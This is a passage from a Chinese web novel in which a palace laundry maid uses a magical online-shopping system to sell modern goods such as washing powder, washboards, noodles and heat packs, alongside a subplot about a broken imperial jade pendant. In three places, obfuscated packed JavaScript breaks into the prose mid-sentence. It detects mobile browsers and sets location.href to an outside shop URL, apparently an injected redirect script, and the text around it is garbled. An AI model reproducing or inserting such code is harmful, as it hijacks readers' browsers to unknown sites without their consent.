姹紫和嫣红吃完晚饭正站在院子里说话,就看见这边一个拎着桶的身影一闪而过。 “站住,在那鬼鬼祟祟干什么?!”姹紫喊住柳宛东。 柳宛东拎着两个桶,站在院子西侧,表情慌张地把其中一个桶往后藏。可她身子细弱,哪里能藏住一个桶呢? “放下!” “咚”地一声,柳宛东放下了两个桶,其中一个桶比另一个空桶要更沉。 “你这桶里装的是什么?”说话间,姹紫和嫣红已经来到柳宛东面前了,嫣红伸手把桶上的盖子掀开,扑面而来的是一种热乎奇异的香味! 好香! “这……是哪里来的?”嫣红忍不住咽着口水,她刚才吃了个红薯,差点没被噎死,现在闻到这样的香气忍不住往里张望,深红色的汤料,里面有白菜,玉米,绿色的豆子,好像还有肉粒! 天呐,这是怎样一锅好饭,闻起来实在是让人欲罢不能! “二位姐姐,这是我受妙凌姐姐之托,专让送膳宫女带来的‘一锅烩’,今天好不容易抢到的。”柳宛东蹲下身,合起木盖子。 宫里皇上等贵人每次吃饭都不会超过三口,大量的肉菜就被剩下了,于是就有人将这些剩下的多重荤菜重新加点白菜之类的再卖到宫外头,简称“一锅烩”。 这样一碗只卖10文钱。经济实惠,是很多老百姓都会购买的食物。 有的时候,有门路的宫女还会把这种“一锅烩”卖给宫人。 “等等!”姹紫站在原地,她的目光无法再从那“一锅烩”上卸下来,“一锅烩”有很多种,但是今天这种味道,她从小到大第一次闻见。 这诱人的香味让她四肢百骸全都在叫嚣着同一句话:“我要吃我要吃!” “宛东啊,两位姐姐平时待你如何?”姹紫露出柔和的微笑。 “经常打骂我还让我做重活,一点都不好。”柳宛东露出天然无害的甜笑。 嫣红推了姹紫一把,她凑过来搂着柳宛东的肩膀,“以后姐姐们肯定会对你好的,这次你就回了妙凌姐姐,把这‘一锅烩’让给我吧。” “那可不行,这是我好不容易在送膳宫女那说尽好话得来的,还花了妙凌领事不少钱呢。” “多少钱,我俩补给你就是了。”姹紫说道。 “可是,这次再不送‘一锅烩’过去,我又要被罚去扫院子了。”柳宛东垂着头。 “下次你扫院子的活计就交给我们两个,好妹妹了。” “那……行吧,一共50文。” “50文?”这些也就能吃两碗,50文太贵了吧,要说她们一个月的月例也才不到700文钱。 姹紫和嫣红脚一跺就回屋取了钱来,柳宛东刚把桶递给她们,她们就一人一碗快速吃了起来! 微微咸的汤汁,配上白菜,和里面不知道什么的蔬菜碎,简直太好吃了,吃完整个身子都暖和了,两个人吃得相当满意。 【恭喜宿主收入50文(50块)。】 【当前支线1级任务已完成(180/150),支线2级任务开启(30/500)】 【奖励工作用具一套,请宿主到淘宝界面挑选。】 看着琳琅满目的淘宝界面,她点进了一个商品链接。 【每日签到,可随机掉落惊喜宝箱,请宿主保持活跃哦。】 柳宛东点击每日签到界面,那界面上的圆形数字1突然变大,然后蹦出了一个宝箱——您获得再次购买已下单商品的机会。 欧气!柳宛东高兴坏了。这日子也没那么苦嘛! 这个“再下单”意味着可以在原来的购买链接里下单,不过规格可以有变化。 之前买了炉子和方便面,淘宝账户里还剩3.25元。柳宛东现在手里有石公公给的10枚大钱,和姹紫嫣红给的50枚铜币,她把这些钱全都充进淘宝,账户余额变成了153.25元。 方便面一定是有市场的,而且炉火又是必须的,她直接用惊喜宝箱里的“再下单”机会又买了一个更大的不锈钢炉子,10斤无烟煤炭,以及1箱方便面。 这回她选择是“1倍半”方便面,一包里有一包半的面饼,量大,虽然和红烧牛肉面比,酱包的味道有变化,但是对于吃不饱饭的宫人来说,份量比味道更重要。 1箱方便面43.9元,每箱里面是21袋,包含排骨、藤椒、红烧和酸辣四种味道。 大炉子42.8元,大约高30cm,内径更大,能放更多炭,也能烧更多的水。 同时为了让她的洗衣工作能够更好地完成,她还买了一个加大加宽搓衣板和一袋10斤装的薰衣草香洗衣粉。 买完这些她的账户就剩下20.46元了。 将钱花得七七八八了,她点数了一下自己手中的方便面,刚才在辉郎官那边吃了2包,现在还剩下3包,和方便面一起来的还有5个蛋黄派。 这蛋黄派是赠品还是什么?柳宛东没看懂,不过正好解决了她的燃眉之急。 她将这些蛋黄派的包装全都拆开,连带着快递箱子以及空的方便面袋全都放在一起,点击系统的“回收”按键,瞬间这些不属于这个时代的“废品”就消失不见了。 * 每日的浣洗工作相当辛苦,晚饭过后还是要继续去洗衣服。 柳宛东按照等级先把送来的衣服登记好后,再按着质地分类,相对粗糙的麻布衣服单独放在一堆,比较精细的丝绸放在另一堆。 所有的衣服在洗之前都要进行预处理。 预处理就是把衣物全都放到室内的几个水缸里浸泡。水缸里会提前放上草木灰水,草木灰水有松动污渍的作用,方便一会清洗。 浸泡完毕后,就是清洗环节了,需要将衣服铺在漂洗池周围的石砧(光滑的石板)上,然后手持一根木头做的棒槌,不停地捶打,将衣服里的污渍打出来后,再丢进漂洗池进行漂洗。 草木灰碱性大,实在太伤手,柳宛东的手本来就有冻疮,伤处一碰到草木灰水就钻心地痛。 她实在盼望着系统奖励的工具快递能够快点来。 当晚,熄灯后。 采琴躺在榻上正要睡了,身边的宛东捧捧她,悄悄递给她一块软绵绵的东西。 “这是什么?” “嘘,小点声。”柳宛东躺在采琴身边,她们睡的是大通铺,动静太大会把别人都吵起来的。 “点心,吃吧。” 点心?真稀奇了,点心这种东西很少见的。 采琴结果柳宛东递过来的东西,一种淡淡的香甜氤氲在鼻尖,手中的触感绵软,她睁着眼睛在漆黑的屋子里看了半天,模糊看到这是一块长圆形的糕点,上头鼓鼓的,像是长条馒头。 她轻轻掰了一小块,比馒头还要好掰开,没有韧劲,轻轻一掰就开了。 她放进嘴里一尝,好甜啊!她们平日里有块冰糖都要留到过年吃,更别说现在不年不节的,能吃上这么甜的点心了。 采琴立马把这点心递回给柳宛东,“你吃。”她和宛东几乎是同一时间进宫的,自小关系就要好,有什么好吃的都是这样你一口我一口分着吃的。 “我有。”柳宛东扬了扬手里的蛋黄派,采琴看到了,她手里确实还有一个。 她放下心来,大口咬了一口。里面有什么黏糊糊的东西流出来了。她抹了抹嘴巴,是更甜的糖浆,配合着松软的糕体,简直甜进她心里去了! 要是每天都能吃到这么好吃的点心该多好啊,可能因为吃的甜,这一晚采琴梦里都是甜的。 * “你拿的什么啊?”这天浣衣的时候,同在浣洗的一个小宫女看着拿着一块木板走过来洗衣服的柳宛东问。 这一问就吸引了众人的目光,围坐在漂洗池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911259|192456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边不断捶打衣服的几个宫女全都聚集过来,仔细端详柳宛东手里的那块搓衣板。 “木板,但是并不光滑,上面全是类似水波纹的纹路,一道一道的?”一个小宫女得出结论。 “没错,这个就是我洗衣服用的工具,能够把衣服洗得更好更快!我给它起了个名字,就叫‘搓衣板’!” 柳宛东将搓衣板斜靠在漂洗池的外面,随手拿起一件粗布麻衣,将衣服平铺,让腰背部的大块布料落在搓衣板上,拎起一只袖子叠到搓衣板的布料上开始揉搓,轻轻搓了一会,脏污就顺着水流出来了,袖口、领口这些容易脏污的地方都被洗干净,比一遍一遍地用木棒捶打快不少。 “真有你的!”几个小宫女一看这洗衣方法简单快捷,全都看着那块洗衣板,就跟盯宝贝似的盯着。 “还有更厉害的呢。”柳宛东又快速揉搓了几下衣服,衣服上面出现了白色的泡沫。她买的洗衣粉是多泡沫易漂洗的惠民包装,这可是草木灰达不到的效果。 “这么多沫是什么?你用了皂荚水?”采琴好奇地摸了摸衣服上的白沫。 皂荚水好用,洗出来的衣服更柔软,而且在浆洗的过程中可以看到微弱的泡沫和着泥水一起洗出,往年都是这么用的。 但今年大旱,又是冷冬,国库吃紧,浣衣局的皂荚水就降级为了草木灰,草木灰伤手也没什么沫,她洗的时候老感觉洗不干净,要使劲捶打很多遍。 她将那白沫放到鼻尖下闻,不是淡淡的皂荚香,是一种更加馥郁的花香,让人觉得温暖清新的味道。 她再靠近柳宛东浣洗的衣物,浓烈的香味扑面而来。 “好闻!”她不可置信。这世界上会有一种比皂荚水洗得更干净同时还带有花香的洗料吗? “这是洗衣粉。”柳宛东从袖子里掏出来一个布袋,里面是纯白色的颗粒,偶尔夹杂着一些深蓝色的沙。 “这是我专门定做的,你们谁想要,10个大钱一套。”柳宛东站起来,对着大家说。 “我想要洗衣粉,搓衣板也想要!” “我也要……但是10个大钱有点贵了,我就要搓衣板……” 几个宫女叽叽喳喳地说起来。 “你们在干什么?”妙凌走到院子里。 “禀告领事,宛东发现了能够快速洗衣服的工具,我们都很想要呢!” 妙凌踱步过来,她眼睛不太好,总是在灯下缝衣服把眼睛都看坏了。 她看着柳宛东手里的东西,只见那木头板子又长又宽,上面全是棱,敞口的布袋中盛着一些白色的粗砂,“砂子不行!会把衣服磨坏!” “不是砂子!遇水就化了!”柳宛东解释道。 “胡说八道,除了糖盐,世上哪有有遇水就化的东西?”妙凌语气严厉,“浣衣局的规定就是规定,泡衣服用草木灰,洗衣服用板子拍,漂衣服用池水漂三回。都记清楚了?不得违规!” 几个叽叽喳喳的小宫女一听,全都低着头沉默不语。 “这些东西不许再出现!”妙凌留下一句话便回去了。 她现在已经是领事宫女,平日里主要在屋子里登记衣服的来去、盘点库存和记账,根本体会不到柳宛东她们这些勤恳工作的底层宫女的辛劳。 大冬天的,用冷水洗衣服多么痛苦!而且还要受草木灰的刺激,这也就算了,用手搓洗和用板子敲洗是柳宛东最不能忍受的。 太原始太低效太费手了啊! 她手上的血痂和冻疮一层叠一层,根本好不了。 这么下去肯定不行,可领事的话又不得不听,她必须得想个法子。 缓缓将洗衣粉和搓衣板收好,她老实地继续洗衣服。 当天夜里,趁着众人睡熟,柳宛东静悄悄起了床,从水缸里杳了一瓢水含在嘴里,又从土墙外头掰了块土坯揣在袖子里,无声无息地摸上东厢房的房顶。 5. 第五章 浣衣局除了洗衣服就是晾衣服。晴天衣服可以晾在院子的麻绳和竹竿上,雨天雪天可就不能挂在外面了。另外,有一些贵重的衣服在晴天的傍晚也要及时收到房间里,以防被飞沙走石伤到。 东厢房是整个浣衣局最好的房子,房顶上的瓦片也结实,所以绸缎蚕丝的衣服被衾都收晾在这里。 爬上房顶,柳宛东掀起一块瓦,黑暗中眼睛适应了一会才看见底下厢房中的情景,这件屋子里有许多木架和挂绳,每个上面都晾着好多衣服,一件一件全都紧密地挨在一起。 她看准了最中间的一个木架子,这架子上面不像其他挂架那么拥挤,只挂了一套衣服,左边是一件厚实的淡蓝色的夹棉交领襦裙,右边是同样花色的一件毛领披风。 肯定是哪个高阶宫女或者女官的衣服,不用想肯定是这屋子里最贵的衣服。 她瞅准位置,掀起木架子正上方的瓦片揣进怀里,然后把袖子里的土坯拿出来放在手里,将口中的水也吐到手里,很快她手心里土水混合成一捧泥水。 松开指缝,任这些泥水缓缓滴落在襦裙和披风上。 待泥水浸透了衣服,她拿出怀里的瓦片想要直接扔到地上,又担心声音太大,便再揣进怀里。 下房顶后,她把瓦片搁在浣衣局的院子里,用脚狠狠地踩了一下,那瓦片悄声碎了。 她洗好手后钻回了被窝。 * 这一天早上,妙凌晨起洗漱过后走出房间。 呼啸的北风吹得她踉跄了一步。 她抬头看了看天,天空是湛蓝色,没有一丝云彩,天气响晴。 这种天最冷、风最猛了,看着天气好,实际上洗了衣服两天都干不了。 她关严实木门,顶着风走到了院子的晾衣架边上。 摸摸衣服,都干的差不多了,今天就能送回各宫了。再走到东厢房,她点数着洗好的衣服,到正中间的时候,愣住了。 原已洗干净的吴司正的蓝色珠绣襦裙和兔毛披风上面脏污一片。 “谁弄脏了司正的衣服?” 她跑到院子里怒吼,正在干活的小宫女们全都面面相觑。 她正要发火,突然脚踢到了一块碎了的瓦片。 这正是厢房上的灰瓦。再进屋抬头一看,对应放置司正衣服的房顶上,缺了一块瓦。 “真是邪风把泥水吹下来了,”她的气消了一半,喃喃道,“昨天怎么没听见瓦片碎裂的动静。” “妙凌掌事,奴家来取吴司正的衣服。”一个宫女就这么及时地站在眼前。 妙凌头开始痛,她要如何交代? 吴司正送来的时候特别交代要今天还的! 重新洗的话要浸泡要晾干,肯定不能按时还,毕竟浸泡就要一夜,晾干也至少要一夜。 怎么就这么巧,衣服就脏污了! “司正的衣服还没好,不如您先回去,到时候我亲自去送。”只能及时补救了,妙凌心想。 “请问到哪一步了,如果还没干的话,可以送到司正房间用炭盆烘干的,”小宫女和气地笑着,“司正特别交代这衣服是明日给宫人讲学要穿的,不能有误。” “这……这……”妙凌的心突突地跳了起来,该怎么办呢,她真的交不上。 柳宛东走过来在她耳边低语两句,她木然地点点头。 “那就请先在厅中休息片刻,稍后奴家取了衣服包好给姐姐。”柳宛东对取衣的宫女道。 待那宫女进屋了,妙凌才问柳宛东,“你说一会就能洗干净?” 柳宛东从池边取出搓衣板和洗衣粉,妙凌的脸色沉了下来,“您先不要生气,待我浆洗一番,如果达不到效果再罚我也行。” 见妙凌不说话,柳宛东知道她是允许了,就将披风放到搓衣板上,在衣领、袖口以及衣襟这几处沾了泥水的地方放上白色的洗衣粉。 洗衣粉是颗粒状的,一碰见水就化开了,她快速在搓衣板上揉搓,那板子结实耐用,上面的木纹能帮助搓出脏东西,洗了两下衣服上竟然起了白色的沫。 那些脏污几乎没用什么力气就被带走了,洗过衣服的清水很快就变得混浊。 妙凌惊讶于那白色颗粒真的在水中去无踪,看到领子变得崭新,更是赞叹。 “洗得真干净!”妙凌左看右看,这毛茸茸的披风领子就跟新作的一样洁白,以前她用草木灰蹲着洗半个时辰也不见得能洗出这样的效果。 她摸了摸这件披风,草木灰是生涩的,洗衣粉比草木灰滑溜多了,洗过的衣服也更加柔软。 柳宛东洗完一件,放进漂洗池一漂,泡沫轻松就化在了池水里,这原本灰蓝的披风一下就显出了鲜嫩的蓝色。 原来这衣服竟然是嫩蓝色!妙凌以前真没看出来。 漂洗一点都不费劲,只是半柱香的功夫,两件衣服就都洗干净了,上面的泥水似乎从未出现过。 “真行!”平日里总是没有表情的妙凌露出笑容,她甚至激动地抱了抱柳宛东。 【主线任务[升职]已开启,当前品阶:0,目标品阶:预备女官。】 【达成成就——初次被认可,进度达成20%,掉落1次下单机会,下单物品只可应用于主线任务。】 赏钱是在三天后来的。吴司正特地申请了一笔银钱奖励浣衣局,她穿着这件衣服去讲学,所到之处总有淡淡的香味,宫人们全都围着她问,可出尽了风头。 妙凌用这笔钱打了特地申请从柳宛东处购买了多套搓衣板和洗衣粉。她确实看出这两样东西的好处,自然是要给浣衣局提升一下效率。 洗衣工具就是主线任务,柳宛东用“初次被认可”的成就奖励买了更多的洗衣套装。 洗衣板和洗衣粉很快就到货了,柳宛东开的价格并不高,一个60cm长,20cm宽的搓衣板价格是16.69元,一袋10斤重的洗衣粉是29.4元。 柳宛东卖了10个搓衣板,和10袋10斤重的洗衣粉,一共收了浣衣局800钱。自己也就挣300多钱。 【当前支线[挣钱]2级任务已完成(830/500),支线[挣钱]3级任务开启(330/1000)】 【奖励下单日化用品的机会1次。】 【系统已重新解冻,十日内可下单次数:1】 账户余额变成了359.56元,眼见着天气越来越冷,她又开始在淘宝上下单了。 * 姹紫和嫣红两个人按照之前的约定,分担了宛东打扫院子的活计。有了树干挑水,不算辛苦。两人刚干完准备休息会,一点冰冷的东西扑面而来。 姹紫定睛一看,冷风中竟然夹杂着一点雪花!今年的雪来得也太早了一些,两个人赶紧快步往寝殿大堂走。 没走几步,雪越下越大,两人的眼睛几乎都被这鹅毛般的大雪迷住了,赶忙进了大堂关上门。 姹紫抖了抖身上的雪花,抬起头却发现一群宫女全都围在一起。 一种熟悉的香味迎面扑来。 “一锅烩?”她和嫣红两个人面面相觑,前天她们刚吃过,今天就又有了? 越走近人群就越能感觉到温暖。柳宛东正在往每个人的碗里盛面条,“采琴,这是你的,翠玉,这是你的……” 再看柳宛东身前是一口大的陶锅,锅里正是“一锅烩”。不过今天的和那天吃的又有不同,里面除了红汤和白菜,还多了许多面条。锅下面坐着一个约莫半个手臂那么高的泥炉子,温度正是从这里传出来的。 整个大厅温暖异常,香气四溢,平日里用来送饭的的两个桶里孤零零地呆站在门口,一个桶里的菜被倒出来放进锅里了,另一个装馍的桶没人动,里面的馍全都整齐地放在桶里。 原来一碗都要抢的“一锅烩”,现在突然变得这么充足,而且还是现场制作? “多……多少钱一碗啊。”嫣红有点呆愣地问一个大口吃面条的宫女。 “不要钱啊。这是宛东好心给大家分的。你看这泥炉子,还是她自己做的呢,手可巧了!”翠玉将面条吹凉,夹了一大口吃进嘴里,露出畅快的表情。然后她扒开门口站着的姹紫和嫣红,从桶里捡了一块馍,掰碎了放进汤里吃。 “不要钱?!”嫣红呆住了,那当时宛东收她们两个人50个铜板算怎么回事? “宛东,你敢耍我们?!”嫣红撸起袖子叉起腰就要开启骂架模式。 “那可是二位姐姐硬拽着我买的,怎么能说是我耍弄二位呢。”柳宛东正色道。 “二位姐姐快来吃面条啊,扫院子辛苦了,我给你们留着哪。”柳宛东冲着她们两个微微一笑。 嫣红还要说什么,姹紫拽了她一把,两个人拿着碗也接了面条。 嫣红还是气不过,她接过碗,吃到里面细细的黄色面条,那种舒爽的味道让她的气瞬间消掉一半。 “以后呢,我的炉子可以免费用,但是因为炉子是特制的,里面只能烧我提供的这种无烟炭,”柳宛东指了指脚边还没有用的一盆黑色的炭块,“这是要收费的,10个铜板2斤。买2斤送1盒火柴。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911260|192456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “面饼也要收费,5个铜板1块,带调料。” 看屋中没有人说话,她知道,这是大家默认了这个价格,毕竟现在无人能够提供这种立马能够点燃的燃料,更没有人能够提供这种香喷喷的面条。 “你这样私自贩卖是不合宫规的!我要告诉领事!”姹紫的声音划破了平静。 “妙凌姐姐,妙凌姐姐,”姹紫小跑着跑去了领事的屋子。 不一会,妙凌就进来了。 “姹紫,你说谁在私贩?”妙凌的声音一出,整个大堂更是肃静。 “就是她!”姹紫指着柳宛东。 “所以你买了?”妙凌看着桌子上姹紫吃剩面条的碗。 “……”姹紫被噎住,说不出话来。 “我们做下人的,一年到头吃点好的用点好的不容易,你要是告发,可谁都得不了好。”妙凌盯着姹紫的眼睛,姹紫被盯得心虚低头。 妙凌的语气缓和下来,“况且宫规是说不让私贩宫内外物品,可这泥炉、这面饼,是宛东自制的,既不是从宫里头拿的,也不是从宫外买的,说不上是犯了宫规啊。” “就是就是,你想要你就花钱买呗,再到处嚷嚷就没你的份。”采琴生气地说。 “是,奴婢谨遵教诲。”姹紫低头认错。 一群人兴高采烈地在屋子里头吃了面条和馍,柳宛东又告诉大家火柴盒炉子的使用方法,说完后她特别提醒:“烧炭的时候,屋子里要留缝,这大家知道吧?” “为啥要留缝?”众人全都好奇。 得,古人果然不知道封闭环境里煤炭燃烧容易发生一氧化碳中毒的事情,古代这种事少见,或许是因为门窗的密闭性不好,即便是关紧关严也还是会有缝隙流通空气,反而间接保护了烧炭人的安全吧。 怎么解释这个科学原理呢。 “因为这些炭啊是从树木上燃烧来的,每烧一次,灶火爷都会心痛一次,所以我们烧的时候千万不能只管自己烧,要让这树木的灵气从门窗外走,这样灶火爷才不会责罚大家,才能让大家在新的一年吃饱饭!” 宫女宛东对于神啊鬼啊的了解并不多,仅限于观音、土地公和灶火爷。她思索半天,强编了个故事。 “好,我们肯定要留窗!” 吃过饭,雪也停了,大家全都要去院子里扫雪。 天气真冷。每个人都是扫一会雪就马上跑进屋子里,在泥炉子旁边烤烤火,以往每年深冬的时候都会给每个院子发放炭例,今年的雪下得太早,炭还没下来,雪就先来了。 幸好有宛东的泥炉子和无烟炭,大家不至于被冻僵。 只是屋子这样温暖,倒显得外面的天气更冷了,每个人出去都要鼓足很大的勇气。 轮到柳宛东出去的时候,她总是能够在院子里扫很久的雪,回来的时候身上也没有被冻得冰冷,双手还是热乎的。 采琴用自己烤过火的温热的手握住宛东的手,她惊讶地发现,宛东在外头这么久,手竟然还是热乎的! “你今年怎么这么耐冻?” “我有这个!” 柳宛东撩起自己的衣服,她的宮服里,在后背和腰部的位置贴了两块长方形的白色东西。 采琴一摸,那白色长块的物体触感竟然是热的,而且是源源不断地在发热,风都吹不凉,更神奇的是,它粘在衣服上非常牢固,怎么行走都不掉。 “这是什么?”采琴将手放在暖宝宝上。 “这呀,是暖宝宝,没汤婆子那么多水,但是也很热。”柳宛东解释道,她这样一说,几乎厅内的所有人全都过来触摸着暖宝宝,连连称赞。 “我还有呢,1铜板1个,10铜板12个,谁要?” “我要,我要!” 之前大家用搓衣板和洗衣粉浣衣,确实简单方便,所以对于柳宛东的信任与日俱增,她说什么,大家都会积极回应。 柳宛东一共买了60个暖宝宝,用了2个,剩下的58个很快就卖完了。暖宝宝是买30片送30片的片的艾草暖宝宝,共计33.8元。这样折合下来每一片进价是5毛钱多,利润也就是4毛多。 如果买更贵,比如2个铜板一贴,肯定依然能卖出去,但是柳宛东不打算卖太贵,冬天的热源对于谁来说都是珍贵而必需的,平日里干的多吃的少穿不暖,活不下去自我了断的宫人不在少数。 她希望这些暖宝宝能够带给古代打工人更多的温暖和希望。 “叮咚,物流消息,您购买的‘云南白药特效冻疮膏’到了。” 6. 第六章 聂如良正在流华宫的大殿上喝茶,两个太监正要把殿外的盆栽搬进殿里,他喝了口热茶,伸出手看了看自己的手背,骨节分明的的手上,小拇指侧边处又开始泛红了。 冻疮又复发了。 刚入宫那会,他还是位阶最低的郎官,那时候没热水,冬天洗脸全是用冷水,冻疮就是在那时候得的。几乎每年都会复发,这两年升位分了,穿的也暖了,冻疮发作的频率低了。 只不过今年天气冷,冻疮怕冷,一冷就会再复发。 伤处很痒很痒,他总想挠,越挠皮就会破,破了就会流脓水,脓水流到的地方会有新冻疮,如此一来,恶性循环。 用手搓了半天伤处,还是不解痒。他记得门外搬盆栽的那两个小太监手上的冻疮更严重,真不知道这天气那些下人怎么过。 “搬完就回屋歇着吧。”聂如良发话了。 殿下的两个小太监高兴地举起双手行礼,“是,雅贵君。” 他们的手一闪而过,那上面并没有之前看起来非常严重的冻疮,反而是光滑平整的。 这怎么可能,那两个太监手上的冻疮他是见过的,很严重,一层叠一层,不变得更严重就万幸了,怎么可能一下子就好了。 聂如良认为自己看错了。他甩了甩头。 冬天不能赏花游玩,皇上这几天忙于政务,谁也不见,真是一点乐子都没有。 “现在起驾,去良宫。”聂如良起身披上披风,良宫好啊良宫妙,良宫还有个老朋友该不会被冻得吱哇乱叫吧。 * 谢平章正在良宫里喝热水,有了宛东的小炉子,这个冬天好过多了。 “石大头,把本君的冻疮膏拿来。” 谢平章的姐姐谢平威是戍守边疆的显赫大将军,家里不缺吃穿。他从小锦衣玉食,春夏秋冬都是用温水洗脸洗手,在来良宫之前双手保养得非常好,细嫩光滑。 奈何来了良宫,碰了凉水,手上就开始泛红,石万心疼得不得了,就去宛东哪里买了一瓶冻疮膏,据说抹在手上有奇效。 他也不知道这药膏效果好在哪,毕竟他的手没疼没痒的,权当护手用了。 这冻疮膏的味道是淡淡的花香,他很喜欢闻。 刚抹好手,平静的院子外面响起一道通传:“雅贵君驾到。” “聂如良?他来干什么?”想也不用想,肯定是来耀武扬威的。 聂如良的轿辇被抬进院子里,妙凌带着一众宫女全都磕头行礼。 “起来吧。”聂如良根本不看她们,她穿过院子,往东侧的另一个单独小院走去。这才是谢平章的住处。 被打入良宫的侍修们是不能私自出院的,只好他主动去见了。 一把推开门,谢平章和石万两个人正站在屋子里,见他来了,规矩行礼:“雅贵君好。” “过得怎么样啊,辉郎~官~”聂如良刻意把最后“郎官”两个字咬得很重,他就是想要谢平章时时刻刻都能记住他已经从贵君被贬为郎官的事实。 “甚好。”谢平章语气和煦。 “我以为你每天大吵大闹着要找姐姐呢,没想到啊,你还挺能忍的呢。”说是良宫,其实只是一间房,这房间里的构造一览无余,房间里只一副木头桌椅,一个榻,一个柜子、一口水缸和一个破泥桶。 拉开一把椅子,聂如良坐了下来,这么简陋的房间,谢平章哪里受得了,硬撑罢了,“平章,你我原本是好兄弟,我今日看望你,你怎么看起来并不开心呀。” “好兄弟?口头上说好兄弟心连心,背地里不择手段争宠的‘好兄弟’?”谢平章皱眉。 “我本来准备了冬衣和炭火想送与你,没想到弟弟这里并不欢迎我,那就算了。” 谢平章翻了个白眼,聂如良来送冬衣?怎么可能,他巴不得自己冻死在良宫。 聂如良坐了一会,总觉得哪里不太对劲,说不出哪里很怪,就是感觉谢平章看上去并不凄惨,人在良宫,不应该愁眉苦脸,身形瑟缩吗,可他好像很悠闲似的。 木头板凳上没有锦垫,实在太硬,聂如良站起身,“对了,我呢,只是想来告诉你一个消息,最近边外又在打仗,你的姐姐已经十余天没有音讯了哦。” “朝廷重臣岂容你胡言乱语!”谢平章被气得不轻,他伸手指着聂如良。 “休得对贵君无礼!”聂如良身边的大太监厉声道。 “没关系……”聂如良就是想来刺激谢平章的,可话说到一半,停住了。他看到了谢平章的手,那是一双白皙的、柔滑的手,即便在这样寒冷的冬天,即便被打入良宫,他的手还是那么好。 对比之下……聂如良脸色微变,他慢慢将自己的手缩回衣服里,原本他家里就是小官,比不得谢平章家里,可现在天气这么冷,为什么谢平章的手还是如此细滑? 难道真是天生丽质?某种酸意直冲心头,他目光停留在谢平章腰间的玉佩上。 那是一块上好的青玉,有半个手掌那么大,上面刻着镂空的花纹,那是皇上赏赐给他的。 聂如良一步一步地朝着谢平章走过去,谢平章站在原地,见他离自己越来越近,不知他葫芦里卖得什么药,便向后躲闪。 就在此时,聂如良一把拽过他腰间的腰带,谢平章慌忙往后一退,“啪!”腰带被扯散,腰间的玉佩掉在地上,摔成了两半。 “你!”谢平章气得发抖,原来聂如良这个绿茶是冲着这御赐的玉佩来的。 “没有准许,为何退后,失仪可是要被罚的!不过,看在你我过去情谊的份上,我就饶了你这一次!摆驾,回宫!” 聂如良慌张地出门,他原本是想扯下玉佩讽刺谢平章几句,没想真的把御赐的玉佩摔坏,但现在事情好似一发不可收拾。 损坏了御赐的东西可是重罪。 他重新坐上轿辇,走出浣衣局时,一众宫女依然行礼,他的目光轻轻扫过,这些宫女的手也是白嫩嫩的,几乎没有什么冻疮。 对了,聂如良突然想明白了刚才的怪异之处,就是这良宫一点不冷。 甚至比他的宫里还要暖。 * 柳宛东再去良宫送饭的时候顺便还带了谢平章之前订购的蛋黄派,不过今天谢平章没有往日那般热情,石万也接了饭就进屋了,氛围相当压抑。 想必应当是被昨日雅贵君和辉郎官在良宫发生争执一事影响了心情。 石万急得团团转,这么大的事情肯定会传出去的。他将柳宛东拉到一边,想探探口风。 “现在外头传得沸沸扬扬的,雅贵君跑到皇上面前去哭,说辉郎官冲撞了他,还生气摔了皇上御赐的圣物。” “聂如良这个贱人,我就知道他会恶人先告状,看我来了良宫没办法出去,就颠倒黑白!”谢平章的声音从屋中传出。 从昨天到现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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通传过后,微微佝偻的余树林带着两个小太监推开门,辉郎官和石万正站在屋子中间,微笑向他问好。 “余公公,今天是什么风把您吹来了?”谢平章率先开口。 谢平章心里很清楚,余树林早就是聂如良的人了,本来专职负责检修玉饰的不应该是他,在这当口叫他一个负责金银饰品的来检查玉饰,想来聂如良安插人手也是费了一番功夫的。 “哎呦,辉郎官哪里的话,奴才奉命前来检修玉饰,烦请您将手中饰品拿出吧!” “本郎官离开碧霄宫之时,几乎未带什么金银首饰,并无需要检修的饰品,公公请回吧!” 余树林盯着聂如良的腰部,平日里谢平章将皇上赏赐给他的玉佩当宝贝,走到哪都在腰间坠着,现在一看,腰间空空如也。 怕不是无法再佩戴了吧。 “辉郎官,我就直说了,我此次来就是来检查皇上御赐给您的青玉司南玉佩的。” “余公公什么时候也负责起玉饰了?” “上头有令,不得不从啊。请出示吧,辉郎官。”余公公态度强硬,见谢平章不语,他心里已经有数,又道:“如果郎官保存不当,直说便可,咱家可以帮您想一个好的理由,从轻发落。” 7. 第七章 谢平章嗤笑一声。他示意石万,石万便从屋头的木柜子里拿出一个木制锦盒。 虽然是正午,但屋内灯光比较暗,余公公看不真切,只见石万将锦盒放在木桌上,盖子打开,盒中放了一个方形的玉佩。 是御赐的那块司南玉佩,不假。 只是他还没上前仔细端详,石万就挡在他前头,不让他靠近。 “我要上前查看,看是否有损。”余公公着急地走上前两步。 “大胆余树林!竟敢污蔑圣上御赐之物有损!”谢平章坐在桌子旁,语气严厉。 “奴才不敢,只是公务在身,务必仔细看过……”余树林被这突如其来的斥责吓了一跳,但他马上冷静下来。 